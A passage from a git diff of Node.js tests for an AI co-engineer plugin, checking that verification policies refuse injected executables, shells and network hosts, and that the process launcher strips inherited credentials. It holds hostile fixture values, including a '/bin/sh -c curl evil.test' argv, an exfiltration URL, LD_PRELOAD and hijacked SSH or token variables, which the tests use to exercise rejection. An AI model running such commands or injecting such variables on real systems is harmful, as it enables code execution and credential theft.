[validCommand({ command_id: 'unit\u0301-tests' })], + }))).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'Unit-Tests' })], + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u0442ests' })], + }))).code, + 'ambiguous_id_denied', + ); +}); + +test('env, network, mutation, and resource constraints stay owner-authored and bounded', () => { + const granted = parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['ci.example.test', 'cache.example.test'] }, + environment: { entries: [{ name: 'CI', value: '1' }, { name: 'NODE_ENV', value: 'test' }] }, + mutation: { persistent: false, workspace: 'ephemeral' }, + timeout_ms: 120_000, + resources: { max_output_bytes: 4096, max_error_bytes: 1024 }, + })); + assert.deepEqual(granted.network.hosts, ['cache.example.test', 'ci.example.test']); + assert.equal(granted.environment.entries[0].name, 'CI'); + assert.equal(granted.timeout_ms, 120_000); + assert.equal(granted.resources.max_output_bytes, 4096); + + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'PATH', value: '/bin' }] }, + }))).code, + 'env_name_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'LD_PRELOAD', value: 'x' }] }, + }))).code, + 'env_name_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'CI', value: '1' }, { name: 'CI', value: '2' }] }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['https://example.test'] }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['example.test', 'example.test'] }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + mutation: { persistent: true }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + timeout_ms: 0, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + resources: { max_output_bytes: 0 }, + }))).code, + 'out_of_range', + ); +}); + +test('untrusted references accept command id and typed parameters only', () => { + const snapshot = parseUntrustedCommandReferenceV1({ + command_id: 'unit-tests', + parameters: { file: 'spec.js', count: 1, retry: false }, + }); + assert.equal(snapshot.command_id, 'unit-tests'); + assert.equal(snapshot.parameters.file, 'spec.js'); + assert.equal(snapshot.parameters.count, 1); + assert.equal(snapshot.parameters.retry, false); + assert.equal(Object.isFrozen(snapshot), true); +}); + +test('profile, manifest, and provider executable-content injections are rejected', () => { + const cases = [ + [{ command_id: 'unit-tests', executable: '/usr/bin/npm' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', argv: ['test'] }, 'executable_content_denied'], + [{ command_id: 'unit-tests', argv_template: ['test'] }, 'executable_content_denied'], + [{ command_id: 'unit-tests', shell: true }, 'executable_content_denied'], + [{ command_id: 'unit-tests', script: 'npm test' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', env: { CI: '1' } }, 'executable_content_denied'], + [{ command_id: 'unit-tests', environment: { entries: [] } }, 'executable_content_denied'], + [{ command_id: 'unit-tests', network: { mode: 'allowlist' } }, 'network_content_denied'], + [{ command_id: 'unit-tests', hosts: ['evil.test'] }, 'network_content_denied'], + [{ command_id: 'unit-tests', mutation: { persistent: true } }, 'mutation_permission_denied'], + [{ command_id: 'unit-tests', timeout_ms: 1000 }, 'resource_limit_denied'], + [{ command_id: 'unit-tests', resources: { max_output_bytes: 10 } }, 'resource_limit_denied'], + [{ command_id: 'unit-tests', working_directory: '/tmp' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', command: 'npm test' }, 'executable_content_denied'], + ]; + for (const [input, code] of cases) { + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(input)).code, code); + assert.equal(errorOf(() => rejectUntrustedExecutableContentV1(input)).code, code); + } + + const profile = { + schema: 'codex-co-engineer.profile.v1', + provider: 'dsh', + verification_policy: validPolicy(), + }; + assert.equal(errorOf(() => rejectUntrustedExecutableContentV1(profile)).code, 'executable_content_denied'); + + const manifestAcceptance = { + command_id: 'unit-tests', + parameters: { file: 'a.js' }, + timeout_ms: 600_000, + }; + assert.equal( + errorOf(() => parseUntrustedCommandReferenceV1(manifestAcceptance)).code, + 'resource_limit_denied', + ); + + const providerReport = { + command_id: 'unit-tests', + argv: ['/bin/sh', '-c', 'curl evil.test'], + env: { LD_PRELOAD: 'x' }, + }; + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(providerReport)).code, 'executable_content_denied'); +}); + +test('caller objects are not mutated or frozen', () => { + const input = validPolicy(); + const snapshot = parseVerificationPolicyV1(input); + assert.equal(Object.isFrozen(input), false); + assert.equal(Object.isFrozen(input.commands), false); + input.commands.push(validParameterizedCommand()); + assert.equal(snapshot.commands.length, 1); + input.schema = 'mutated'; + assert.equal(snapshot.schema, VERIFICATION_POLICY_SCHEMA_ID); +}); + +test('failures are typed and content-free', () => { + const secret = 'sk-attacker-secret-value'; + const error = errorOf(() => parseVerificationPolicyV1(validPolicy({ + [secret]: `/usr/bin/${secret}`, + }))); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(typeof error.code, 'string'); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/usr/bin'), false); + assert.equal(String(error.path).includes(secret), false); + assert.equal(error.message.includes('TypeError'), false); + + const urlError = errorOf(() => parseUntrustedCommandReferenceV1({ + command_id: 'unit-tests', + url: 'https://evil.example/steal', + })); + assert.equal(urlError.message.includes('https://'), false); + assert.equal(urlError.message.includes('evil.example'), false); +}); + +test('missing policy under a reviewer-created 0755 directory is immutable default deny', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-0755-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + try { + await mkdir(policyDir, { recursive: true }); + await chmod(ownerConfigDir, 0o755); + await chmod(policyDir, 0o755); + const missing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(missing.source.present, false); + assert.equal(missing.policy.commands.length, 0); + assert.equal(missing.policy.schema, VERIFICATION_POLICY_SCHEMA_ID); + assert.equal(missing.policy.version, VERIFICATION_POLICY_VERSION); + assert.equal(Object.isFrozen(missing), true); + assert.equal(Object.isFrozen(missing.policy), true); + assert.equal(Object.isFrozen(missing.policy.commands), true); + assert.equal( + missing.digest.digest, + verificationPolicyDigestV1({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: [], + }).digest, + ); + await chmod(policyDir, 0o775); + const groupWritableMissing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(groupWritableMissing.source.present, false); + assert.equal(groupWritableMissing.policy.commands.length, 0); + assert.equal(groupWritableMissing.digest.digest, missing.digest.digest); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('an existing unsafe policy file still fails closed under ordinary 0755 directories', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-unsafe-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + const file = path.join(policyDir, 'verification-policy.json'); + try { + await mkdir(policyDir, { recursive: true }); + await writeFile(file, JSON.stringify(validPolicy({ + commands: [validCommand({ executable: '/bin/sh' })], + }))); + await chmod(ownerConfigDir, 0o755); + await chmod(policyDir, 0o755); + await chmod(file, 0o666); + await assert.rejects( + () => loadOwnerVerificationPolicyV1({ ownerConfigDir }), + (error) => error instanceof RunContractV1Error + && error.code === 'policy_catalog_not_owner_controlled' + && error.message.includes('/bin/sh') === false + && error.message.includes(file) === false, + ); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('the owner loader round-trips a catalog and treats absence as default deny', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + try { + await mkdir(policyDir, { recursive: true }); + const missing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(missing.source.present, false); + assert.equal(missing.policy.commands.length, 0); + assert.equal(missing.digest.label, IDENTITY_LABELS.VERIFICATION_POLICY); + assert.equal(Object.isFrozen(missing), true); + assert.equal(Object.isFrozen(missing.policy), true); + + const file = path.join(policyDir, 'verification-policy.json'); + await writeFile(file, JSON.stringify(validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + }))); + await chmod(ownerConfigDir, 0o700); + await chmod(policyDir, 0o700); + await chmod(file, 0o600); + const loaded = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(loaded.source.present, true); + assert.equal(loaded.policy.commands.length, 2); + assert.equal(loaded.policy.commands[0].command_id, 'file-tests'); + assert.equal(loaded.policy.commands[1].command_id, 'unit-tests'); + assert.equal( + loaded.digest.digest, + verificationPolicyDigestV1(validPolicy({ + commands: [validCommand(), validParameterizedCommand()], + })).digest, + ); + const roots = verificationPolicyRoots({ ownerConfigDir }); + assert.equal(roots.scope, 'owner'); + assert.equal(roots.file, file); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('the module never claims command execution, PATH resolution, or network access', async () => { + const source = await import('node:fs/promises').then((fs) => fs.readFile( + new URL('../mcp/v3/trusted-verification-policy.mjs', import.meta.url), + 'utf8', + )); + assert.match(source, /never invokes a shell/u); + assert.match(source, /never resolves PATH/u); + assert.doesNotMatch(source, /from 'node:child_process'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.equal(source.includes('spawn('), false); + assert.equal(source.includes('execFile('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes('fetch('), false); +}); diff --git a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs index dd202e0..fc5107e 100644 --- a/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs +++ b/plugins/codex-co-engineer/test/v3-acp-worker.test.mjs @@ -5,7 +5,8 @@ import path from 'node:path'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; -import { boundedEvent, publicError, runAcpTask, runCliFallback, sanitizeText } from '../mcp/v3/acp-worker.mjs'; +import { boundedEvent, publicError, runAcpTask, runCliFallback, sanitizeText, workerSeamIncident } from '../mcp/v3/acp-worker.mjs'; +import { installClosedProviderTestInjection } from '../mcp/v3/credential-boundary.mjs'; import { submitReply } from '../mcp/v3/mailbox.mjs'; import { createTask, readTask, updateTask } from '../mcp/v3/task-store.mjs'; @@ -36,17 +37,17 @@ async function fixture(extra = {}) { } async function withFakeAcpx(mode, callback, options = {}) { - const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND', 'FAKE_ACPX_MODE', 'FAKE_ACPX_ARTIFACT_MARKER', 'FAKE_ACPX_DESCENDANT_PID_FILE']; + const names = ['CODEX_CO_ENGINEER_ACPX_COMMAND']; const previous = Object.fromEntries(names.map((name) => [name, process.env[name]])); process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; - process.env.FAKE_ACPX_MODE = mode; - if (options.artifactMarker) process.env.FAKE_ACPX_ARTIFACT_MARKER = options.artifactMarker; - else delete process.env.FAKE_ACPX_ARTIFACT_MARKER; - if (options.descendantPidFile) process.env.FAKE_ACPX_DESCENDANT_PID_FILE = options.descendantPidFile; - else delete process.env.FAKE_ACPX_DESCENDANT_PID_FILE; + const injection = { FAKE_ACPX_MODE: mode }; + if (options.artifactMarker) injection.FAKE_ACPX_ARTIFACT_MARKER = options.artifactMarker; + if (options.descendantPidFile) injection.FAKE_ACPX_DESCENDANT_PID_FILE = options.descendantPidFile; + installClosedProviderTestInjection(injection); try { return await callback(); } finally { + installClosedProviderTestInjection(null); for (const name of names) { if (previous[name] === undefined) delete process.env[name]; else process.env[name] = previous[name]; @@ -78,6 +79,10 @@ test('runs a prompt through ACP and persists a compact receipt', async () => { assert.match(events, /session_ready/u); assert.match(events, /fake-chunk-1/u); assert.match(events, /"status":"completed"/u); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.cleanup.acp_close, 'closed'); + assert.equal(workerSeamIncident(terminal), false); + assert.match(events, /"type":"cleanup"/u); }); for (const provider of ['grok', 'cursor-local']) { @@ -228,6 +233,8 @@ test('provider failure after dispatch is never marked safe to replay', async () assert.equal(task.status, 'failed'); assert.equal(task.prompt_dispatched, true); assert.equal(task.fallback_safe, false); + assert.equal(task.cleanup.status, 'pending'); + assert.equal(workerSeamIncident(task), false); }); test('DSH scopes ACPX artifacts to the task and removes them after persistence', async () => { diff --git a/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs b/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs index ceddd27..af43381 100644 --- a/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs +++ b/plugins/codex-co-engineer/test/v3-cursor-cloud-worker.test.mjs @@ -1206,3 +1206,126 @@ test('run-completion wait re-arms when an audited deadline extension is recorded assert.ok(Date.now() - started > originalMs); assert.equal((await readTask(root, 'cloud-deadline-extend')).task.deadline_source, 'extended'); }); + +test('P12 result source binds exact R1 identity without mixing Git facts from provider text', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-cursor-p12-bind-')); + const repo = await createCloudRepo(root); + await createCloudTask({ root, prompt: 'materialize distinct sources', record: { + id: 'cloud-p12-bind', + status: 'accepted', + provider: 'cursor-cloud', + role: 'review', + cwd: repo, + run_id: 'run-p12-cloud', + assignment_id: 'cloud-lane', + model: 'claude-sonnet-4-5', + provider_branch: 'cursor/work', + } }); + const sdk = { Agent: { + create: async () => ({ + send: async (_prompt, options) => ({ + id: 'run-p12-bind', + requestId: options.idempotencyKey, + wait: async () => ({ + id: 'run-p12-bind', + requestId: options.idempotencyKey, + status: 'finished', + result: 'provider claimed head cccccccccccccccccccccccccccccccccccccccc on cursor/hostile-takeover', + git: { branches: [{ repoUrl: 'https://github.com/example/repo.git', branch: 'cursor/work', prUrl: 'https://github.com/example/repo/pull/12' }] }, + }), + }), + close() {}, + }), + archive: async () => {}, + } }; + const terminal = await runCursorCloudTask({ root, taskId: 'cloud-p12-bind', sdk, apiKey: 'test-key' }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.cursor_cloud_result_source.published, true); + assert.equal(terminal.cursor_cloud_result_source.provider_report.source_kind, 'provider_report'); + assert.equal(terminal.cursor_cloud_result_source.git_evidence.source_kind, 'git_evidence'); + assert.equal(terminal.cursor_cloud_result_source.git_evidence.branch, 'cursor/work'); + assert.equal(terminal.cursor_cloud_result_source.git_evidence.head_sha, null); + assert.equal(JSON.stringify(terminal.cursor_cloud_result_source.git_evidence).includes('hostile-takeover'), false); + assert.match(terminal.cursor_cloud_result_source.provider_report.inline_tail.text, /hostile-takeover/u); +}); + +test('rejects a completion request identity mismatch without replaying the run', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-cursor-p12-request-')); + const repo = await createCloudRepo(root); + await createCloudTask({ root, prompt: 'reject drifted request', record: { + id: 'cloud-p12-request', + status: 'accepted', + provider: 'cursor-cloud', + role: 'review', + cwd: repo, + run_id: 'run-p12-cloud', + assignment_id: 'cloud-lane', + model: 'claude-sonnet-4-5', + } }); + const sdk = { Agent: { + create: async () => ({ + send: async (_prompt, options) => ({ + id: 'run-p12-request', + requestId: options.idempotencyKey, + wait: async () => ({ + id: 'run-p12-request', + requestId: 'cloud-p12-request:run:9', + status: 'finished', + result: 'done', + git: { branches: [] }, + }), + }), + close() {}, + }), + archive: async () => {}, + } }; + await assert.rejects( + runCursorCloudTask({ root, taskId: 'cloud-p12-request', sdk, apiKey: 'test-key' }), + (error) => error.code === 'cursor_run_identity_mismatch', + ); + const task = (await readTask(root, 'cloud-p12-request')).task; + assert.notEqual(task.status, 'completed'); + assert.equal(task.cursor_cloud_result_source, undefined); + assert.doesNotMatch(JSON.stringify(task), /cloud-p12-request:run:9/u); +}); + +test('rejects a completion branch identity mismatch without synthesizing Git from provider text', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-cursor-p12-branch-')); + const repo = await createCloudRepo(root); + await createCloudTask({ root, prompt: 'reject drifted branch', record: { + id: 'cloud-p12-branch', + status: 'accepted', + provider: 'cursor-cloud', + role: 'review', + cwd: repo, + run_id: 'run-p12-cloud', + assignment_id: 'cloud-lane', + model: 'claude-sonnet-4-5', + provider_branch: 'cursor/work', + } }); + const sdk = { Agent: { + create: async () => ({ + send: async (_prompt, options) => ({ + id: 'run-p12-branch', + requestId: options.idempotencyKey, + wait: async () => ({ + id: 'run-p12-branch', + requestId: options.idempotencyKey, + status: 'finished', + result: 'landed on cursor/work at a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0', + git: { branches: [{ repoUrl: 'https://github.com/example/repo.git', branch: 'cursor/hostile-takeover' }] }, + }), + }), + close() {}, + }), + archive: async () => {}, + } }; + await assert.rejects( + runCursorCloudTask({ root, taskId: 'cloud-p12-branch', sdk, apiKey: 'test-key' }), + (error) => error.code === 'cursor_run_identity_mismatch', + ); + const task = (await readTask(root, 'cloud-p12-branch')).task; + assert.notEqual(task.status, 'completed'); + assert.equal(task.cursor_cloud_result_source, undefined); + assert.doesNotMatch(JSON.stringify(task.error ?? {}), /hostile-takeover/u); +}); diff --git a/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs b/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs index 772cd70..fb8394a 100644 --- a/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs +++ b/plugins/codex-co-engineer/test/v3-identity-digest-authority.test.mjs @@ -141,6 +141,13 @@ test('the registry is closed, frozen, and exactly the ratified label set', () => VERIFICATION_EXECUTABLE_CLOSURE: 'verification-executable-closure.v1', VERIFICATION_COMMAND_PLAN: 'verification-command-plan.v1', VERIFICATION_EXECUTION_RECEIPT: 'verification-execution-receipt.v1', + STORAGE_ROOT: 'storage-root.v1', + AGGREGATE_RUN_ANCHOR: 'aggregate-run-anchor.v1', + AGGREGATE_RUN_COORDINATION: 'aggregate-run-coordination.v1', + AGGREGATE_SUBMISSION_IDEMPOTENCY: 'aggregate-submission-idempotency.v1', + AGGREGATE_RUN_CLAIM: 'aggregate-run-claim.v1', + AGGREGATE_SELECTION_REPLY: 'aggregate-selection-reply.v1', + AGGREGATE_RESOLVED_PLAN: 'aggregate-resolved-plan.v1', }); const values = Object.values(IDENTITY_LABELS); assert.equal(new Set(values).size, values.length, 'registry labels must be unique'); diff --git a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs index 19fc6ed..c1e5322 100644 --- a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs +++ b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs @@ -1,16 +1,28 @@ import assert from 'node:assert/strict'; import { EventEmitter } from 'node:events'; +import { readFile } from 'node:fs/promises'; import test from 'node:test'; import { buildProcessBoundaryArgv, + classifyExactProcessIdentity, + inspectExactProcessBoundary, inspectProcessBoundary, launchProcessBoundary, + PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS, + PROCESS_IDENTITY_CLASSES, probeProcessBoundary, ProcessBoundaryError, restoreProcessBoundary, + stopExactProcessBoundary, stopProcessBoundary, } from '../mcp/v3/process-boundary.mjs'; +import { + createBoundaryHarness, + lifecycleReceipt, + procStat, + procStatus, +} from './fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs'; function receipt(overrides = {}) { return { @@ -37,7 +49,38 @@ function fakeChild(exitCode = 0) { return child; } -test('builds a manager-owned systemd service without narrowing provider argv or environment', () => { +test('resets inherited manager environment and execs a closed env -i projection', () => { + const argv = buildProcessBoundaryArgv({ + unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', + description: 'codex-co-engineer-task:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/home/test-user', PATH: '/bin' }, + inherited: { + HOME: '/home/test-user', + PATH: '/usr/bin', + SSH_AUTH_SOCK: '/tmp/hostile-agent.sock', + GH_TOKEN: 'ghp_manager-token', + GIT_SSH: '/tmp/hostile-ssh', + }, + }); + const unset = argv.find((entry) => String(entry).startsWith('--property=UnsetEnvironment=')); + assert.equal(typeof unset, 'string'); + assert.equal(unset.includes('SSH_AUTH_SOCK'), true); + assert.equal(unset.includes('GH_TOKEN'), true); + assert.equal(unset.includes('GIT_SSH'), true); + assert.equal(unset.includes('HOME'), false); + assert.equal(unset.includes('PATH'), false); + assert.equal(argv.includes('--setenv=SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(argv.includes('SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(argv.includes('/usr/bin/env'), true); + assert.equal(argv.includes('-i'), true); + assert.equal(argv.includes('HOME=/home/test-user'), true); + assert.equal(argv.includes('PATH=/bin'), true); +}); + +test('builds a manager-owned systemd service without putting credential values in argv', () => { const argv = buildProcessBoundaryArgv({ unit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', description: 'codex-co-engineer-task:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', @@ -55,9 +98,9 @@ test('builds a manager-owned systemd service without narrowing provider argv or '--property=StandardOutput=append:/state/task.log', '--property=StandardError=append:/state/task.log', '--setenv=HOME=/home/test-user', - '--setenv=MODEL_API_KEY=provider-secret', - '--', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', + '--', '/usr/bin/env', '-i', 'HOME=/home/test-user', '/usr/bin/node', 'worker.mjs', '--provider-capability', 'full', ]); + assert.equal(argv.some((entry) => entry.includes('provider-secret')), false); assert.equal(argv.some((entry) => /MemoryMax|TasksMax|NoNewPrivileges|Private|Restrict|Protect/iu.test(entry)), false); }); @@ -100,7 +143,18 @@ test('launch preserves cwd, full env, stdio, and provider command while verifyin 'MainPID=4242', ].join('\n') }; }, - readFile: async () => 'populated 1\nfrozen 0\n', + readFile: async (file) => { + if (file.endsWith('/cgroup.events')) return 'populated 1\nfrozen 0\n'; + if (file.endsWith('/cgroup.procs')) return '4242\n'; + const procMatch = /\/proc\/(\d+)\/(stat|cgroup|status)$/u.exec(file); + if (procMatch?.[2] === 'stat') return procStat({ pid: Number(procMatch[1]), ppid: 1, startTicks: '100' }); + if (procMatch?.[2] === 'status') return procStatus({ pid: Number(procMatch[1]) }); + if (procMatch?.[2] === 'cgroup') { + return '0::/user.slice/user-1000.slice/user@1000.service/app.slice/codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service\n'; + } + return 'populated 1\nfrozen 0\n'; + }, + readlink: async () => 'pid:[4026531836]', sleep: async () => {}, }; const environment = { HOME: '/home/test-user', MODEL_API_KEY: 'provider-secret', PATH: '/bin' }; @@ -115,16 +169,45 @@ test('launch preserves cwd, full env, stdio, and provider command while verifyin }); assert.equal(calls.length, 1); assert.equal(calls[0].command, '/usr/bin/systemd-run'); - assert.equal(calls[0].options.env.MODEL_API_KEY, environment.MODEL_API_KEY); - assert.equal(calls[0].options.env.HOME, environment.HOME); + assert.equal(calls[0].options.env.MODEL_API_KEY, undefined); + assert.equal(JSON.stringify(calls[0].options.env).includes('provider-secret'), false); assert.equal(calls[0].options.cwd, '/workspace/repo'); assert.deepEqual(calls[0].options.stdio, ['ignore', 'pipe', 'pipe']); - assert.deepEqual(calls[0].args.slice(-3), ['/usr/bin/node', 'worker.mjs', '--full-capability']); + assert.equal(calls[0].args.at(-1), '--full-capability'); + assert.equal(calls[0].args.includes('worker.mjs'), true); + assert.equal(calls[0].args.includes('--setenv=HOME=/home/test-user'), true); + assert.equal(calls[0].args.includes('--setenv=PATH=/bin'), true); + assert.equal(calls[0].args.includes('/usr/bin/env'), true); + assert.equal(calls[0].args.includes('-i'), true); + assert.equal(calls[0].args.includes('HOME=/home/test-user'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('provider-secret')), false); + assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), false); assert.equal(value.receipt.boundary, 'systemd-user-service-cgroup'); assert.equal(value.receipt.unit.endsWith('.service'), true); assert.equal(value.child.pid, 4242); - assert.equal(calls[0].args.includes('--setenv=MODEL_API_KEY=provider-secret'), true); assert.equal(calls[0].args.includes('--property=StandardOutput=append:/state/task.log'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + host.readFile = async (file) => { + if (file.endsWith('/cgroup.events')) return 'populated 0\nfrozen 0\n'; + if (file.endsWith('/cgroup.procs')) return ''; + throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + }; + host.execFile = async (_command, args) => { + const unit = args.find((value) => value.startsWith('codex-co-engineer-') && value.endsWith('.service')) + ?? 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service'; + const token = unit.slice('codex-co-engineer-'.length, -'.service'.length); + return { stdout: [ + `Id=${unit}`, + `Description=codex-co-engineer-task:${token}`, + 'LoadState=loaded', + 'ActiveState=inactive', + `ControlGroup=/user.slice/user-1000.slice/user@1000.service/app.slice/${unit}`, + 'KillMode=control-group', + 'InvocationID=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + 'MainPID=0', + ].join('\n') }; + }; + await stopProcessBoundary(value.handle, { adapter: host, timeoutMs: 100 }); }); test('reports a failed systemd-run client before attempting unit ownership verification', async () => { @@ -173,13 +256,30 @@ test('stop signals all members, escalates only after the owned cgroup stays popu `ControlGroup=${receipt().control_group}`, 'KillMode=control-group', `InvocationID=${receipt().invocation_id}`, + `MainPID=${populated ? 4242 : 0}`, ].join('\n') }; } actions.push(args); - if (args[1] === 'kill' && args.at(-2) === '--signal=KILL') populated = false; + if (args[1] === 'kill' && args.at(-2) === '--signal=KILL') { + populated = false; + active = 'inactive'; + } return { stdout: '' }; }, - readFile: async () => `populated ${populated ? 1 : 0}\nfrozen 0\n`, + readFile: async (file) => { + if (file.endsWith('/cgroup.events')) return `populated ${populated ? 1 : 0}\nfrozen 0\n`; + if (file.endsWith('/cgroup.procs')) return populated ? '4242\n' : ''; + const procMatch = /\/proc\/(\d+)\/(stat|cgroup|status)$/u.exec(file); + if (!procMatch) return ''; + if (!populated) throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + if (procMatch[2] === 'stat') return procStat({ pid: Number(procMatch[1]), ppid: 1, startTicks: '100' }); + if (procMatch[2] === 'status') return procStatus({ pid: Number(procMatch[1]) }); + return `0::${receipt().control_group}\n`; + }, + readlink: async () => { + if (!populated) throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + return 'pid:[4026531836]'; + }, sleep: async () => {}, }; const handle = restoreProcessBoundary(receipt(), { adapter: host }); @@ -192,7 +292,6 @@ test('stop signals all members, escalates only after the owned cgroup stays popu ]); const second = await stopProcessBoundary(handle, { adapter: host, timeoutMs: 100 }); assert.equal(second.idempotent, true); - active = 'inactive'; assert.equal((await inspectProcessBoundary(handle, { adapter: host })).found, true); }); @@ -216,3 +315,540 @@ test('rejects forged or mismatched ownership receipts before systemd mutation', adapter: { platform: 'linux', uid: 1000, spawn: () => fakeChild(), execFile: async () => ({ stdout: '' }), readFile: async () => '', sleep: async () => {} }, }), (error) => error.code === 'invalid_control_group'); }); + +test('exact inspection is inactive_empty only when the unit and cgroup path are both gone', async () => { + const harness = createBoundaryHarness({ found: false, populated: false, activeState: 'inactive' }); + harness.state.found = false; + harness.state.populated = false; + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'inactive_empty'); + assert.equal(inspection.stop_allowed, false); +}); + +test('exact inspection is unknown when the unit is gone but the cgroup stays populated', async () => { + const harness = createBoundaryHarness({ found: false, populated: true }); + harness.state.found = false; + harness.state.populated = true; + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.stop_allowed, false); +}); + +test('exact stop uses systemctl --user stop for the verified unit only', async () => { + const harness = createBoundaryHarness(); + const stopped = await stopExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + timeoutMs: 100, + }); + assert.equal(stopped.state, 'inactive_empty'); + assert.equal(stopped.cgroup_empty, true); + assert.equal(harness.state.stopCalls, 1); + assert.equal(harness.state.actions.some((args) => args[1] === 'kill'), false); + const second = await stopExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + timeoutMs: 100, + }); + assert.equal(second.idempotent, true); + assert.equal(harness.state.stopCalls, 1); +}); + +test('exact inspection does not treat a mismatched generation as this task', async () => { + const harness = createBoundaryHarness(); + const forged = lifecycleReceipt({ invocation_id: 'ffffffffffffffffffffffffffffffff' }); + const inspection = await inspectExactProcessBoundary(forged, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.identity_matched, false); + assert.equal(inspection.stop_allowed, false); +}); + +function identityBoundary(receipt, extras = {}) { + return { + 